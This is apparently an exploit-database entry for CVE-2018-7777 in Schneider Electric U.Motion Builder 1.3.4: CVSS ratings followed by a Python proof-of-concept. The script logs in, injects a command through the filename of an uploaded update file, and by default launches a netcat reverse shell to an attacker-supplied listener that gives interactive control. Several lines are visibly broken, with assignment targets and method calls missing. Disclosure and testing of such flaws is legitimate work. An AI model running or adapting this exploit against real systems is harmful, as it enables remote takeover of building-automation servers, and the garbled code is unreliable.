Schneider Electric U.Motion Builder 1.3.4 Authenticated Command Injection

Risk: Medium
Local: No
Remote: Yes

CVSS Base Score: 6.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# Exploit Title: Schneider Electric U.Motion Builder 1.3.4 - Authenticated Command Injection # Date: 2018-08-01 # Exploit Author: Cosmin Craciun # Vendor Homepage: # Version: <= 1.3.4 # Tested on: Delivered Virtual Appliance running on Windows 10 x64 # CVE : CVE-2018-7777 # References: #!/usr/bin/oython from __future__ import print_function import httplib import urllib import argparse import re import sys import socket import threading import time parser = argparse.ArgumentParser(description='PoC') parser.add_argument('--target', help='IP or hostname of target', required=True) parser.add_argument('--port', help='TCP port the target app is running', required=True, default='8080') parser.add_argument('--username', help='TCP port the target app is running', required=True, default='admin') parser.add_argument('--password', help='TCP port the target app is running', required=True, default='admin') parser.add_argument('--command', help='malicious command to run', default='shell') parser.add_argument('--src_ip', help='IP of listener for the reverse shell', required=True) parser.add_argument('--timeout', help='time in seconds to wait for a response', type=int, default=3) class Exploiter(threading.Thread): def __init__ (self, target, port, timeout, uri, body, headers, shell_mode): threading.Thread.__init__(self) = target self.port = port self.timeout = timeout self.uri = uri self.body = body self.headers = headers self.shell_mode = shell_mode def send_exploit(self, target, port, timeout, uri, body, headers): print('Sending exploit ...') conn = httplib.HTTPConnection("{0}:{1}".format(target, port), timeout=timeout) conn.request("POST", uri, body, headers) print("Exploit sent") if not self.shell_mode: print("Getting response ...") try: response = conn.getresponse() if not self.shell_mode: print(str(response.status) + " " + response.reason) data = if not self.shell_mode: print('Response: {0}\r\nCheck the exploit result'.format(data)) except socket.timeout: if not self.shell_mode: print("Connection timeout while waiting response from the target.\r\nCheck the exploit result") def run(self): self.send_exploit(, self.port, self.timeout, self.uri, self.body, self.headers) class Listener(threading.Thread): def __init__(self, src_ip): threading.Thread.__init__(self) self.src_ip = src_ip def run(self): self.listen(self.src_ip) def listen(self, src_ip): TCP_IP = src_ip TCP_PORT = 4444 BUFFER_SIZE = 1024 try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind((TCP_IP, TCP_PORT)) print("Listener open on port {0}".format(TCP_PORT)) s.listen(1) conn, addr = s.accept() print('Exploited: ' + str(addr)) while 1: comm = raw_input("shell$ ").strip() if comm == "quit": conn.close() sys.exit(0) if comm != "": conn.send(comm + " 2>&1" + "\x0a") while 1: data = conn.recv(BUFFER_SIZE) if not data: break print(data, end="") if "\x0a" in data: break except Exception as ex: print("Could not start listener") print(ex) def login(target, port, username, password): uri = "http://{0}:{1}/umotion/modules/system/user_login.php".format(target, port) params = urllib.urlencode({ 'username': username, 'password': password, 'rememberMe': '1', 'context': 'configuration', 'op': 'login' }) headers = { "Content-type": "application/x-www-form-urlencoded; charset=UTF-8", "Accept": "*/*" } try: conn = httplib.HTTPConnection("{0}:{1}".format(target, port)) conn.request("POST", uri, params, headers) response = conn.getresponse() print(str(response.status) + " " + response.reason) data = except socket.timeout: print("Connection timeout while logging in. Check if the server is available") return cookie = response.getheader("Set-Cookie") #print(cookie) r = re.match(r'PHPSESSID=(.{26});.*loginSeed=(.{32})', cookie) if r is None: print("Regex not match, could not get cookies") return if len(r.groups()) < 2: print("Error while getting cookies") return sessid = r.groups()[0] login_seed = r.groups()[1] return sessid, login_seed conn.close() def encode_multipart_formdata(fields, files): LIMIT = '----------lImIt_of_THE_fIle_eW_$' CRLF = '\r\n' L = [] for (key, value) in fields: L.append('--' + LIMIT) L.append('Content-Disposition: form-data; name="%s"' % key) L.append('') L.append(value) for (key, filename, value) in files: L.append('--' + LIMIT) L.append('Content-Disposition: form-data; name="%s"; filename="%s"' % (key, filename)) L.append('Content-Type: application/x-gzip') L.append('') L.append(value) L.append('--' + LIMIT + '--') L.append('') body = CRLF.join(L) content_type = 'multipart/form-data; boundary=%s' % LIMIT return content_type, body def exploit(target, port, username, password, command, timeout): uri = "http://{0}:{1}/umotion/modules/system/update_module.php".format(target, port) fields = [ ('choose_update_mode', 'MANUAL'), ('add_button', '0'), ('format', 'json'), ('step', '2'), ('next', '1'), ('name_update_file', ''), ('path_update_file', ''), ('type_update_file', '') ] listener = None if command == "shell": shell_mode = True command = "nc -e $SHELL {0} 4444".format(args.src_ip) listener = Listener(args.src_ip) listener.start() time.sleep(3) else: shell_mode = False files = [ ('update_file', 'my;{0};file.tar.gz'.format(command), "\x1f\x8b") ] content_type, body = encode_multipart_formdata(fields, files) if not shell_mode or (shell_mode and listener and listener.isAlive()): print('Logging in ...') sess_id, login_seed = login(target, port, username, password) if sess_id is None or login_seed is None: print('Error while logging in') return print('Logged in ! ') headers = { 'Accept': 'application/json,text/javascript,*/*; q=0.01', 'Accept-Encoding': 'gzip,deflate', 'Referer': 'http://{0}:{1}/umotion/modules/system/externalframe.php?context=configuration'.format(target, port), 'X-Requested-With': 'XMLHttpRequest', 'Content-Length': len(body), 'Content-Type': content_type, 'Connection': 'keep-alive', 'Cookie': 'PHPSESSID={0}; loginSeed={1}'.format(sess_id, login_seed) } exploiter = Exploiter(target, port, timeout, uri, body, headers, shell_mode) exploiter.start() if __name__ == '__main__': args = parser.parse_args() exploit(, args.port, args.username, args.password, args.command, args.timeout)

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